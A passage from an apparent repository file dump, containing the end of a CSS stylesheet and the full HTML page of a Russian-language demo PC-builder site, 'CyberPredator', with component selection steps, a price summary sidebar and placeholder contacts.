var(--text-1);\n}\n.brand-tab.is-active {\n    border-color: var(--accent);\n    color: var(--accent);\n    background: var(--accent-dim);\n}\n\n/* ─── Карточки компонентов ───────────────────────────────────────── */\n.component-grid {\n    display: grid;\n    grid-template-columns: repeat(auto-fill, minmax(min(280px, 100%), 1fr));\n    gap: 0.875rem;\n}\n\n.component-card {\n    background: var(--bg-card);\n    border: 1px solid var(--border);\n    border-radius: var(--r-md);\n    padding: 1.1rem 1.25rem;\n    cursor: pointer;\n    transition:\n        background 0.2s ease,\n        border-color 0.25s ease,\n        box-shadow 0.25s ease,\n        transform 0.2s ease;\n    position: relative;\n    display: flex;\n    flex-direction: column;\n    gap: 0.75rem;\n    overflow: hidden;\n}\n.component-card::before {\n    content: \"\";\n    position: absolute;\n    top: 0;\n    left: 0;\n    right: 0;\n    height: 2px;\n    background: linear-gradient(90deg, transparent, var(--accent), transparent);\n    transform: scaleX(0);\n    transition: transform 0.3s ease;\n}\n.component-card:hover {\n    background: var(--bg-card-h);\n    border-color: var(--border-h);\n    box-shadow: var(--shadow-glow);\n    transform: translateY(-2px);\n}\n.component-card:hover::before {\n    transform: scaleX(1);\n}\n\n.component-card.is-selected {\n    background: rgba(0, 245, 160, 0.07);\n    border-color: var(--accent);\n    box-shadow:\n        0 0 0 1px rgba(0, 245, 160, 0.25),\n        var(--shadow-card);\n}\n.component-card.is-selected::before {\n    transform: scaleX(1);\n}\n\n.component-card.is-recommended {\n    border-color: var(--warning);\n    box-shadow: 0 0 18px rgba(255, 170, 0, 0.12);\n}\n.component-card.is-recommended::before {\n    transform: scaleX(1);\n    background: linear-gradient(90deg, transparent, var(--warning), transparent);\n}\n\n.card-header {\n    display: flex;\n    align-items: flex-start;\n    gap: 0.5rem;\n    flex-wrap: wrap;\n}\n\n.card-name {\n    font-size: clamp(0.8rem, 1.5vw, 0.9rem);\n    font-weight: 600;\n    color: var(--text-1);\n    line-height: 1.4;\n    flex: 1;\n    min-width: 0;\n    overflow-wrap: break-word;\n}\n.card-name em {\n    color: var(--text-2);\n    font-style: normal;\n    font-weight: 400;\n}\n\n.card-badge {\n    font-family: var(--font-mono);\n    font-size: 0.58rem;\n    font-weight: 700;\n    letter-spacing: 0.12em;\n    text-transform: uppercase;\n    color: #020408;\n    background: var(--accent);\n    padding: 0.25rem 0.55rem;\n    border-radius: 4px;\n    white-space: nowrap;\n    flex-shrink: 0;\n}\n\n.card-price {\n    font-family: var(--font-mono);\n    font-size: 0.95rem;\n    font-weight: 700;\n    color: var(--accent);\n    white-space: nowrap;\n    margin-left: auto;\n}\n\n.card-specs {\n    display: flex;\n    flex-direction: column;\n    gap: 0.3rem;\n    padding-top: 0.25rem;\n    border-top: 1px solid var(--border);\n}\n\n.spec-row {\n    display: flex;\n    justify-content: space-between;\n    gap: 0.5rem;\n    font-size: 0.765rem;\n    line-height: 1.5;\n    overflow: hidden;\n}\n.spec-key {\n    color: var(--text-3);\n    flex-shrink: 0;\n}\n.spec-val {\n    font-family: var(--font-mono);\n    color: var(--text-2);\n    text-align: right;\n    overflow-wrap: break-word;\n    min-width: 0;\n}\n\n.card-select-btn {\n    margin-top: auto;\n    align-self: flex-start;\n    font-family: var(--font-ui);\n    font-size: 0.78rem;\n    font-weight: 600;\n    letter-spacing: 0.04em;\n    padding: 0.45rem 1rem;\n    border-radius: 6px;\n    border: 1px solid var(--border-h);\n    background: none;\n    color: var(--accent);\n    cursor: pointer;\n    transition:\n        background 0.2s,\n        color 0.2s;\n}\n.card-select-btn:hover {\n    background: var(--accent);\n    color: #020408;\n}\n.component-card.is-selected .card-select-btn {\n    background: var(--accent);\n    color: #020408;\n    border-color: var(--accent);\n}\n.component-card.is-selected .card-select-btn::after {\n    content: \" ✓\";\n}\n\n/* Empty state */\n.empty-state {\n    display: flex;\n    flex-direction: column;\n    align-items: center;\n    gap: 0.75rem;\n    padding: 3rem 1rem;\n    color: var(--text-3);\n    text-align: center;\n    font-size: 0.875rem;\n    border: 1px dashed var(--border);\n    border-radius: var(--r-md);\n}\n.empty-icon {\n    font-size: 2rem;\n}\n\n/* ─── Sidebar / Summary ──────────────────────────────────────────── */\n.summary-sidebar {\n    position: sticky;\n    top: calc(var(--nav-h) + 1.5rem);\n    background: var(--bg-card);\n    border: 1px solid var(--border);\n    border-radius: var(--r-lg);\n    padding: 1.5rem;\n    display: flex;\n    flex-direction: column;\n    gap: 1.25rem;\n    max-height: calc(100dvh - var(--nav-h) - 3rem);\n    overflow-y: auto;\n}\n\n.summary-header {\n    display: flex;\n    align-items: center;\n    justify-content: space-between;\n    gap: 0.75rem;\n    padding-bottom: 1rem;\n    border-bottom: 1px solid var(--border);\n}\n\n.summary-title {\n    font-size: 0.85rem;\n    font-weight: 700;\n    letter-spacing: 0.05em;\n    text-transform: uppercase;\n    color: var(--text-2);\n}\n\n.summary-total-row {\n    display: flex;\n    flex-direction: column;\n    gap: 0.2rem;\n    padding: 1rem;\n    background: var(--accent-dim);\n    border-radius: var(--r-sm);\n    border: 1px solid rgba(0, 245, 160, 0.15);\n}\n.summary-total-label {\n    font-size: 0.7rem;\n    font-weight: 500;\n    letter-spacing: 0.12em;\n    text-transform: uppercase;\n    color: var(--accent);\n}\n.summary-total {\n    font-family: var(--font-mono);\n    font-size: clamp(1.5rem, 3vw, 1.9rem);\n    font-weight: 700;\n    color: var(--text-1);\n    letter-spacing: -0.03em;\n}\n\n.summary-list {\n    list-style: none;\n    display: flex;\n    flex-direction: column;\n    gap: 0.4rem;\n}\n\n.summary-item {\n    display: grid;\n    grid-template-columns: 1fr auto;\n    gap: 0.2rem 0.5rem;\n    font-size: 0.78rem;\n    padding: 0.5rem 0;\n    border-bottom: 1px solid var(--border);\n    transition: opacity 0.3s;\n}\n.summary-item:last-child {\n    border-bottom: none;\n}\n.summary-item.is-empty {\n    opacity: 0.35;\n}\n\n.summary-label {\n    color: var(--text-3);\n    font-size: 0.68rem;\n    letter-spacing: 0.06em;\n    text-transform: uppercase;\n    grid-column: 1 / -1;\n}\n.summary-value {\n    color: var(--text-1);\n    font-size: 0.75rem;\n    overflow-wrap: break-word;\n}\n.summary-price {\n    font-family: var(--font-mono);\n    color: var(--accent);\n    font-size: 0.75rem;\n    text-align: right;\n}\n\n.summary-actions {\n    display: flex;\n    flex-direction: column;\n    gap: 0.65rem;\n    padding-top: 0.5rem;\n}\n\n/* ─── Совместимость ──────────────────────────────────────────────── */\n.compat-box {\n    border-radius: var(--r-sm);\n    overflow: hidden;\n}\n.compat-box:empty {\n    display: none;\n}\n\n.compat-error,\n.compat-warn {\n    padding: 0.6rem 0.85rem;\n    font-size: 0.78rem;\n    line-height: 1.5;\n    border-left: 3px solid;\n    background: rgba(0, 0, 0, 0.3);\n}\n.compat-error {\n    border-color: var(--danger);\n    color: #ff9090;\n    background: rgba(255, 76, 76, 0.06);\n}\n.compat-warn {\n    border-color: var(--warning);\n    color: #ffd077;\n    background: rgba(255, 170, 0, 0.06);\n}\n\n.compat-box.compat-ok {\n    background: rgba(0, 245, 160, 0.07);\n    border: 1px solid rgba(0, 245, 160, 0.2);\n    padding: 0.75rem 1rem;\n    font-size: 0.8rem;\n    color: var(--accent);\n    border-radius: var(--r-sm);\n}\n\n/* ─── Контакты / Footer ──────────────────────────────────────────── */\n.contacts-section {\n    padding: clamp(4rem, 8vw, 8rem) var(--gap) clamp(3rem, 6vw, 5rem);\n    background: var(--bg-2);\n    border-top: 1px solid var(--border);\n}\n\n.contacts-inner {\n    max-width: var(--max-w);\n    margin: 0 auto;\n    display: grid;\n    grid-template-columns: 1fr 1fr;\n    gap: clamp(2rem, 4vw, 5rem);\n    align-items: start;\n}\n\n.contacts-heading {\n    font-size: clamp(1.5rem, 3vw, 2.2rem);\n    font-weight: 700;\n    letter-spacing: -0.03em;\n    margin-bottom: 0.75rem;\n}\n\n.contacts-desc {\n    font-size: 0.95rem;\n    color: var(--text-2);\n    line-height: 1.8;\n    max-width: 420px;\n}\n\n.contact-list {\n    display: flex;\n    flex-direction: column;\n    gap: 1.25rem;\n}\n\n.contact-item {\n    display: flex;\n    align-items: flex-start;\n    gap: 1rem;\n}\n\n.contact-icon {\n    flex-shrink: 0;\n    width: 40px;\n    height: 40px;\n    display: grid;\n    place-items: center;\n    border: 1px solid var(--border-h);\n    border-radius: 10px;\n    color: var(--accent);\n    font-size: 1rem;\n}\n\n.contact-details {\n    display: flex;\n    flex-direction: column;\n    gap: 0.1rem;\n}\n.contact-type {\n    font-size: 0.68rem;\n    font-weight: 600;\n    letter-spacing: 0.12em;\n    text-transform: uppercase;\n    color: var(--text-3);\n}\n.contact-value {\n    font-size: 0.9rem;\n    color: var(--text-1);\n}\n.contact-value a {\n    color: inherit;\n    text-decoration: none;\n}\n.contact-value a:hover {\n    color: var(--accent);\n}\n\n.footer-bottom {\n    max-width: var(--max-w);\n    margin: 3rem auto 0;\n    padding-top: 2rem;\n    border-top: 1px solid var(--border);\n    display: flex;\n    flex-wrap: wrap;\n    justify-content: space-between;\n    align-items: center;\n    gap: 0.75rem;\n    font-size: 0.78rem;\n    color: var(--text-3);\n}\n\n.footer-mono {\n    font-family: var(--font-mono);\n    font-size: 0.7rem;\n}\n\n/* ─── No-JS Fallback ─────────────────────────────────────────────── */\n.noscript-warning {\n    background: rgba(255, 170, 0, 0.1);\n    border: 1px solid var(--warning);\n    color: var(--warning);\n    padding: 1rem 1.5rem;\n    border-radius: var(--r-sm);\n    font-size: 0.875rem;\n    text-align: center;\n    margin: 7rem auto 2rem;\n    max-width: 600px;\n}\n\n/* ─── Responsive ─────────────────────────────────────────────────── */\n\n/* Tablets */\n@media (max-width: 1100px) {\n    :root {\n        --sidebar-w: 300px;\n    }\n}\n\n@media (max-width: 900px) {\n    .builder-layout {\n        grid-template-columns: 1fr;\n    }\n    .summary-sidebar {\n        position: static;\n        max-height: none;\n        order: -1; /* Summary вверху на мобильных */\n    }\n    .contacts-inner {\n        grid-template-columns: 1fr;\n    }\n}\n\n@media (max-width: 768px) {\n    .nav-links {\n        display: none;\n    }\n    .burger-btn {\n        display: flex;\n    }\n\n    .hero-cta-group {\n        flex-direction: column;\n        align-items: center;\n    }\n    .btn {\n        width: 100%;\n        max-width: 320px;\n        justify-content: center;\n    }\n\n    .component-grid {\n        grid-template-columns: 1fr;\n    }\n}\n\n@media (max-width: 480px) {\n    :root {\n        --nav-h: 60px;\n    }\n    .step-header {\n        flex-wrap: wrap;\n    }\n    .step-hint {\n        margin-left: 0;\n    }\n}\n\n/* ─── Print styles ─────────────────────────────────────────────────── */\n@media print {\n    .site-nav,\n    .hero,\n    #hero-canvas,\n    .burger-btn,\n    .mobile-nav,\n    .nav-overlay {\n        display: none !important;\n    }\n    body {\n        background: white;\n        color: black;\n    }\n    .summary-sidebar {\n        position: static;\n        border: 1px solid #ccc;\n    }\n    .btn {\n        display: none;\n    }\n}\n\n/* ─── Reduced motion ────────────────────────────────────────────────── */\n@media (prefers-reduced-motion: reduce) {\n    *,\n    *::before,\n    *::after {\n        animation-duration: 0.001ms !important;\n        animation-iteration-count: 1 !important;\n        transition-duration: 0.001ms !important;\n    }\n    html {\n        scroll-behavior: auto;\n    }\n    .anim-fade {\n        opacity: 1;\n        transform: none;\n    }\n}\n\n/* ─── High contrast mode ──────────────────────────────────────────── */\n@media (prefers-contrast: high) {\n    :root {\n        --border: rgba(255, 255, 255, 0.25);\n        --border-h: rgba(0, 245, 160, 0.7);\n        --bg-card: rgba(255, 255, 255, 0.06);\n        --text-2: #b0b0c0;\n        --text-3: #7a7a90;\n    }\n}\n\n/* ─── Dark mode system (already dark — light mode override) ──────── */\n@media (prefers-color-scheme: light) {\n    /* Сайт намеренно тёмный — бренду нужна тёмная тема.\n     Если хотите светлую — раскомментируйте и доработайте. */\n    /* :root { --bg: #f0f0f4; ... } */\n}\n"
  },
  {
    "path": "legacy_tandem/viewer/works/example-pcbuilder/index.html",
    "content": "<!DOCTYPE html>\n<html lang=\"ru\">\n\n<head>\n    <meta charset=\"UTF-8\" />\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n    <meta name=\"theme-color\" content=\"#040408\" />\n    <meta name=\"color-scheme\" content=\"dark\" />\n    <meta name=\"description\" content=\"CyberPredator — онлайн-конструктор ПК с актуальными комплектующими 2026 года. Соберите конфигурацию мечты, проверьте совместимость и скачайте готовый список для сервиса.\" />\n    <meta name=\"robots\" content=\"index, follow\" />\n\n    <!-- Open Graph -->\n    <meta property=\"og:title\" content=\"CyberPredator — Сборщик ПК\" />\n    <meta property=\"og:description\" content=\"Конструктор ПК с актуальными комплектующими 2026. Мгновенная проверка совместимости.\" />\n    <meta property=\"og:type\" content=\"website\" />\n    <meta property=\"og:locale\" content=\"ru_RU\" />\n\n    <title>CyberPredator — Конструктор ПК 2026</title>\n\n    <!-- Preconnect для Google Fonts -->\n    <link rel=\"preconnect\" href=\"https://fonts.googleapis.com\" />\n    <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin />\n\n    <link rel=\"stylesheet\" href=\"css/style.css\" />\n\n    <!-- No-JS hook: добавляем класс через JS, если он доступен -->\n    <script>document.documentElement.classList.add('js-enabled');</script>\n</head>\n\n<body>\n\n    <!-- ─── No-Script предупреждение ─────────────────────────────────── -->\n    <noscript>\n        <div class=\"noscript-warning\" role=\"alert\">\n            <strong>JavaScript отключён.</strong><br />\n            Конструктор ПК требует JavaScript для работы. Пожалуйста, включите его в настройках браузера, чтобы воспользоваться всеми функциями сайта.\n        </div>\n    </noscript>\n\n    <!-- ─── Навигация ────────────────────────────────────────────────── -->\n    <header role=\"banner\">\n        <nav class=\"site-nav\" aria-label=\"Основная навигация\">\n\n            <a href=\"#hero\" class=\"nav-logo\" aria-label=\"CyberPredator — на главную\">\n                <span>Cyber</span>Predator\n            </a>\n\n            <!-- Desktop links -->\n            <ul class=\"nav-links\" role=\"list\">\n                <li><a href=\"#builder\" aria-label=\"Перейти к конструктору\">Конструктор</a></li>\n                <li><a href=\"#contacts\" aria-label=\"Перейти к контактам\">Контакты</a></li>\n            </ul>\n\n            <!-- Burger -->\n            <button id=\"burger-btn\" class=\"burger-btn\" aria-label=\"Открыть меню\" aria-expanded=\"false\" aria-controls=\"mobile-nav\">\n                <span aria-hidden=\"true\"></span>\n                <span aria-hidden=\"true\"></span>\n                <span aria-hidden=\"true\"></span>\n            </button>\n\n        </nav>\n    </header>\n\n    <!-- Мобильное меню -->\n    <nav id=\"mobile-nav\" class=\"mobile-nav\" aria-label=\"Мобильная навигация\" aria-hidden=\"true\">\n        <a href=\"#builder\">Конструктор</a>\n        <a href=\"#contacts\">Контакты</a>\n    </nav>\n    <div id=\"nav-overlay\" class=\"nav-overlay\" aria-hidden=\"true\"></div>\n\n    <main id=\"main\" role=\"main\">\n\n        <!-- ─── Hero ───────────────────────────────────────────────────── -->\n        <section id=\"hero\" class=\"hero\" aria-labelledby=\"hero-heading\">\n            <canvas id=\"hero-canvas\" aria-hidden=\"true\"></canvas>\n\n            <div class=\"hero-content\">\n\n                <div class=\"hero-eyebrow\" aria-label=\"Статус: актуально на 2026 год\">\n                    Актуально на&nbsp;&nbsp;Февраль 2026\n                </div>\n\n                <h1 id=\"hero-heading\" class=\"hero-title\">\n                    <span class=\"glitch\" data-text=\"CyberPredator\" aria-label=\"CyberPredator\">CyberPredator</span><br />\n                    <span class=\"accent-word\">Конструктор&nbsp;ПК</span>\n                </h1>\n\n                <p class=\"hero-sub\">\n                    Собери свою машину мечты из актуальных комплектующих 2026&nbsp;года.\n                    Автоматическая проверка совместимости, живой расчёт стоимости\n                    и&nbsp;готовый файл конфигурации для передачи в&nbsp;сервис.\n                </p>\n\n                <div class=\"hero-cta-group\">\n                    <a href=\"#builder\" class=\"btn btn-primary\" aria-label=\"Начать сборку ПК\">\n                        <!-- SVG: bolt -->\n                        <svg width=\"16\" height=\"16\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2.5\" stroke-linecap=\"round\" stroke-linejoin=\"round\" aria-hidden=\"true\">\n                            <polygon points=\"13 2 3 14 12 14 11 22 21 10 12 10 13 2\" />\n                        </svg>\n                        Начать сборку\n                    </a>\n                    <a href=\"#contacts\" class=\"btn btn-secondary\">\n                        <!-- SVG: info -->\n                        <svg width=\"16\" height=\"16\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\" aria-hidden=\"true\">\n                            <circle cx=\"12\" cy=\"12\" r=\"10\" />\n                            <line x1=\"12\" y1=\"8\" x2=\"12\" y2=\"12\" />\n                            <line x1=\"12\" y1=\"16\" x2=\"12.01\" y2=\"16\" />\n                        </svg>\n                        О&nbsp;сервисе\n                    </a>\n                </div>\n\n            </div>\n        </section>\n\n        <!-- ─── Конструктор ────────────────────────────────────────────── -->\n        <section id=\"builder\" class=\"builder-section\" aria-labelledby=\"builder-heading\">\n\n            <div style=\"max-width: var(--max-w); margin: 0 auto;\">\n                <p class=\"section-label\" aria-hidden=\"true\">// PC Builder v2.0</p>\n                <h2 id=\"builder-heading\" class=\"section-title\">Собери свою конфигурацию</h2>\n            </div>\n\n            <div class=\"builder-layout\">\n\n                <!-- ── Шаги ────────────────────────────────────────────────── -->\n                <div class=\"builder-steps\" role=\"form\" aria-label=\"Конструктор ПК\">\n\n                    <!-- 1. Процессор -->\n                    <article class=\"builder-step anim-fade\" data-step=\"cpu\" aria-labelledby=\"step-cpu-title\">\n                        <div class=\"step-header\">\n                            <div class=\"step-num\" aria-hidden=\"true\">01</div>\n                            <h3 class=\"step-title\" id=\"step-cpu-title\">Процессор (CPU)</h3>\n                            <span class=\"step-hint\">AM5 · LGA1851</span>\n                        </div>\n\n                        <!-- Табы брендов -->\n                        <div class=\"brand-tabs\" data-category=\"cpu\" role=\"tablist\" aria-label=\"Фильтр по производителю CPU\">\n                            <button class=\"brand-tab is-active\" data-brand=\"all\" role=\"tab\" aria-selected=\"true\">Все</button>\n                            <button class=\"brand-tab\" data-brand=\"AMD\" role=\"tab\" aria-selected=\"false\">AMD</button>\n                            <button class=\"brand-tab\" data-brand=\"Intel\" role=\"tab\" aria-selected=\"false\">Intel</button>\n                        </div>\n\n                        <div id=\"section-cpu\" class=\"component-grid\" role=\"radiogroup\" aria-label=\"Выбор процессора\"></div>\n                    </article>\n\n                    <!-- 2. Материнская плата -->\n                    <article class=\"builder-step anim-fade\" data-step=\"motherboard\" aria-labelledby=\"step-mb-title\">\n                        <div class=\"step-header\">\n                            <div class=\"step-num\" aria-hidden=\"true\">02</div>\n                            <h3 class=\"step-title\" id=\"step-mb-title\">Материнская плата</h3>\n                            <span class=\"step-hint\">автофильтр по сокету</span>\n                        </div>\n                        <div id=\"section-motherboard\" class=\"component-grid\" role=\"radiogroup\" aria-label=\"Выбор материнской платы\"></div>\n                    </article>\n\n                    <!-- 3. Оперативная память -->\n                    <article class=\"builder-step anim-fade\" data-step=\"ram\" aria-labelledby=\"step-ram-title\">\n                        <div class=\"step-header\">\n                            <div class=\"step-num\" aria-hidden=\"true\">03</div>\n                            <h3 class=\"step-title\" id=\"step-ram-title\">Оперативная память</h3>\n                            <span class=\"step-hint\">DDR5</span>\n                        </div>\n                        <div id=\"section-ram\" class=\"component-grid\" role=\"radiogroup\" aria-label=\"Выбор оперативной памяти\"></div>\n                    </article>\n\n                    <!-- 4. Видеокарта -->\n                    <article class=\"builder-step anim-fade\" data-step=\"gpu\" aria-labelledby=\"step-gpu-title\">\n                        <div class=\"step-header\">\n                            <div class=\"step-num\" aria-hidden=\"true\">04</div>\n                            <h3 class=\"step-title\" id=\"step-gpu-title\">Видеокарта (GPU)</h3>\n                            <span class=\"step-hint\">RTX 50 · RX 9000</span>\n                        </div>\n\n                        <div class=\"brand-tabs\" data-category=\"gpu\" role=\"tablist\" aria-label=\"Фильтр по производителю GPU\">\n                            <button class=\"brand-tab is-active\" data-brand=\"all\" role=\"tab\" aria-selected=\"true\">Все</button>\n                            <button class=\"brand-tab\" data-brand=\"NVIDIA\" role=\"tab\" aria-selected=\"false\">NVIDIA</button>\n                            <button class=\"brand-tab\" data-brand=\"AMD\" role=\"tab\" aria-selected=\"false\">AMD</button>\n                        </div>\n\n                        <div id=\"section-gpu\" class=\"component-grid\" role=\"radiogroup\" aria-label=\"Выбор видеокарты\"></div>\n                    </article>\n\n                    <!-- 5. Накопитель -->\n                    <article class=\"builder-step anim-fade\" data-step=\"storage\" aria-labelledby=\"step-storage-title\">\n                        <div class=\"step-header\">\n                            <div class=\"step-num\" aria-hidden=\"true\">05</div>\n                            <h3 class=\"step-title\" id=\"step-storage-title\">Накопитель (NVMe SSD)</h3>\n                            <span class=\"step-hint\">PCIe 4.0 · 5.0</span>\n                        </div>\n                        <div id=\"section-storage\" class=\"component-grid\" role=\"radiogroup\" aria-label=\"Выбор накопителя\"></div>\n                    </article>\n\n                    <!-- 6. Охлаждение -->\n                    <article class=\"builder-step anim-fade\" data-step=\"cooling\" aria-labelledby=\"step-cooling-title\">\n                        <div class=\"step-header\">\n                            <div class=\"step-num\" aria-hidden=\"true\">06</div>\n                            <h3 class=\"step-title\" id=\"step-cooling-title\">Охлаждение CPU</h3>\n                            <span class=\"step-hint\">Air · AIO</span>\n                        </div>\n                        <div id=\"section-cooling\" class=\"component-grid\" role=\"radiogroup\" aria-label=\"Выбор системы охлаждения\"></div>\n                    </article>\n\n                    <!-- 7. Блок питания -->\n                    <article class=\"builder-step anim-fade\" data-step=\"psu\" aria-labelledby=\"step-psu-title\">\n                        <div class=\"step-header\">\n                            <div class=\"step-num\" aria-hidden=\"true\">07</div>\n                            <h3 class=\"step-title\" id=\"step-psu-title\">Блок питания (PSU)</h3>\n                            <span class=\"step-hint\">авторекомендация по TDP</span>\n                        </div>\n                        <div id=\"section-psu\" class=\"component-grid\" role=\"radiogroup\" aria-label=\"Выбор блока питания\"></div>\n                    </article>\n\n                    <!-- 8. Корпус -->\n                    <article class=\"builder-step anim-fade\" data-step=\"case\" aria-labelledby=\"step-case-title\">\n                        <div class=\"step-header\">\n                            <div class=\"step-num\" aria-hidden=\"true\">08</div>\n                            <h3 class=\"step-title\" id=\"step-case-title\">Корпус</h3>\n                            <span class=\"step-hint\">Mid Tower · Full Tower</span>\n                        </div>\n                        <div id=\"section-case\" class=\"component-grid\" role=\"radiogroup\" aria-label=\"Выбор корпуса\"></div>\n                    </article>\n\n                </div><!-- /builder-steps -->\n\n                <!-- ── Sidebar / Summary ──────────────────────────────────── -->\n                <aside class=\"summary-sidebar\" aria-label=\"Итог сборки\" aria-live=\"polite\">\n\n                    <div class=\"summary-header\">\n                        <span class=\"summary-title\">Моя сборка</span>\n                        <button id=\"reset-btn\" class=\"btn btn-ghost btn-danger\" aria-label=\"Сбросить всю сборку\" title=\"Начать заново\">\n                            <!-- SVG: trash -->\n                            <svg width=\"13\" height=\"13\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\" aria-hidden=\"true\">\n                                <polyline points=\"3 6 5 6 21 6\" />\n                                <path d=\"M19 6l-1 14H6L5 6\" />\n                                <path d=\"M10 11v6\" />\n                                <path d=\"M14 11v6\" />\n                                <path d=\"M9 6V4h6v2\" />\n                            </svg>\n                            Сбросить\n                        </button>\n                    </div>\n\n                    <!-- Итоговая стоимость -->\n                    <div class=\"summary-total-row\">\n                        <span class=\"summary-total-label\">Итого (USD)</span>\n                        <span id=\"summary-total\" class=\"summary-total\" aria-live=\"polite\">$0</span>\n                    </div>\n\n                    <!-- Список компонентов -->\n                    <ul id=\"summary-list\" class=\"summary-list\" aria-label=\"Список выбранных компонентов\"></ul>\n\n                    <!-- Совместимость -->\n                    <div id=\"compat-box\" class=\"compat-box\" role=\"status\" aria-live=\"polite\" aria-label=\"Статус совместимости\"></div>\n\n                    <!-- Действия -->\n                    <div class=\"summary-actions\">\n                        <button id=\"download-btn\" class=\"btn btn-primary\" disabled aria-disabled=\"true\" aria-label=\"Скачать конфигурацию в формате .txt\">\n                            <!-- SVG: download -->\n                            <svg width=\"16\" height=\"16\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2.5\" stroke-linecap=\"round\" stroke-linejoin=\"round\" aria-hidden=\"true\">\n                                <path d=\"M21 15v4a2 2 0 01-2 2H5a2 2 0 01-2-2v-4\" />\n                                <polyline points=\"7 10 12 15 17 10\" />\n                                <line x1=\"12\" y1=\"15\" x2=\"12\" y2=\"3\" />\n                            </svg>\n                            Скачать конфиг (.txt)\n                        </button>\n\n                        <p style=\"font-size:0.7rem; color: var(--text-3); line-height: 1.5; text-align:center;\">\n                            Файл передаётся в сервис CyberPredator для оформления заказа. Выберите CPU и GPU — кнопка активируется.\n                        </p>\n                    </div>\n\n                </aside>\n\n            </div><!-- /builder-layout -->\n        </section>\n\n    </main>\n\n    <!-- ─── Контакты / Footer ──────────────────────────────────────── -->\n    <footer id=\"contacts\" class=\"contacts-section\" role=\"contentinfo\" aria-labelledby=\"contacts-heading\">\n\n        <div class=\"contacts-inner anim-fade\">\n\n            <div>\n                <p class=\"section-label\" aria-hidden=\"true\">// Сервисный центр</p>\n                <h2 id=\"contacts-heading\" class=\"contacts-heading\">\n                    Готовы принять<br />\n                    <span class=\"accent-word\">вашу конфигурацию</span>\n                </h2>\n                <p class=\"contacts-desc\">\n                    Скачайте .txt-файл со своей сборкой и передайте нам&nbsp;— мы закупим\n                    и&nbsp;соберём ПК в&nbsp;кратчайшие сроки. Профессиональный монтаж,\n                    диагностика и&nbsp;гарантия на&nbsp;сборку.\n                </p>\n            </div>\n\n            <div>\n                <ul class=\"contact-list\" role=\"list\">\n\n                    <li class=\"contact-item\">\n                        <div class=\"contact-icon\" aria-hidden=\"true\">\n                            <!-- SVG: map-pin -->\n                            <svg width=\"18\" height=\"18\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\n                                <path d=\"M21 10c0 7-9 13-9 13s-9-6-9-13a9 9 0 0 1 18 0z\" />\n                                <circle cx=\"12\" cy=\"10\" r=\"3\" />\n                            </svg>\n                        </div>\n                        <div class=\"contact-details\">\n                            <span class=\"contact-type\">Адрес</span>\n                            <span class=\"contact-value\">г.&nbsp;Тандем, ул.&nbsp;Лендинговая, д.&nbsp;1</span>\n                        </div>\n                    </li>\n\n                    <li class=\"contact-item\">\n                        <div class=\"contact-icon\" aria-hidden=\"true\">\n                            <!-- SVG: phone -->\n                            <svg width=\"18\" height=\"18\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\n                                <path d=\"M22 16.92v3a2 2 0 01-2.18 2 19.79 19.79 0 01-8.63-3.07A19.5 19.5 0 013.07 9.81a19.79 19.79 0 01-3.07-8.63A2 2 0 012.18 0h3a2 2 0 012 1.72 12.84 12.84 0 00.7 2.81 2 2 0 01-.45 2.11L6.09 7.91a16 16 0 006 6l1.27-1.27a2 2 0 012.11-.45 12.84 12.84 0 002.81.7A2 2 0 0122 14.92z\" />\n                            </svg>\n                        </div>\n                        <div class=\"contact-details\">\n                            <span class=\"contact-type\">Телефон</span>\n                            <span class=\"contact-value\">\n                                <a href=\"tel:+7XXXXXXXXXX\" aria-label=\"Позвонить в CyberPredator\">+7 (XXX) XXX-XX-XX</a>\n                            </span>\n                        </div>\n                    </li>\n\n                    <li class=\"contact-item\">\n                        <div class=\"contact-icon\" aria-hidden=\"true\">\n                            <!-- SVG: mail -->\n                            <svg width=\"18\" height=\"18\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\n                                <path d=\"M4 4h16c1.1 0 2 .9 2 2v12c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2V6c0-1.1.9-2 2-2z\" />\n                                <polyline points=\"22,6 12,13 2,6\" />\n                            </svg>\n                        </div>\n                        <div class=\"contact-details\">\n                            <span class=\"contact-type\">Почта</span>\n                            <span class=\"contact-value\">\n                                <a href=\"mailto:tandemsites@example.com\">tandemsites@example.com</a>\n                            </span>\n                        </div>\n                    </li>\n\n                    <li class=\"contact-item\">\n                        <div class=\"contact-icon\" aria-hidden=\"true\">\n                            <!-- SVG: at-sign -->\n                            <svg width=\"18\" height=\"18\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\n                                <circle cx=\"12\" cy=\"12\" r=\"4\" />\n                                <path d=\"M16 8v5a3 3 0 006 0v-1a10 10 0 10-3.92 7.94\" />\n                            </svg>\n                        </div>\n                        <div class=\"contact-details\">\n                            <span class=\"contact-type\">Соцсети</span>\n                            <span class=\"contact-value\">\n                                <a href=\"#\" aria-label=\"Страница CyberPredator в соцсетях\">@example</a>\n                            </span>\n                        </div>\n                    </li>\n\n                </ul>\n            </div>\n\n        </div>\n\n        <div class=\"footer-bottom\">\n            <span>© 2026 <strong>CyberPredator</strong>. Все права защищены.</span>\n            <span class=\"footer-mono\">г. Тандем · tandemsites@example.com</span>\n            <span style=\"color: var(--text-3)\">Цены актуальны на&nbsp;февраль 2026</span>\n        </div>\n\n    </footer>\n\n    <!-- ─── Scripts ─────────────────────────────────────────────────── -->\n    <!-- components.js должен быть загружен первым — main.js зависит от COMPONENTS -->\n    <script src=\"js/components.js\"></script>\n    <script src=\"js/main.js\"></script>\n\n</body>\n\n</html>"
  },
  {
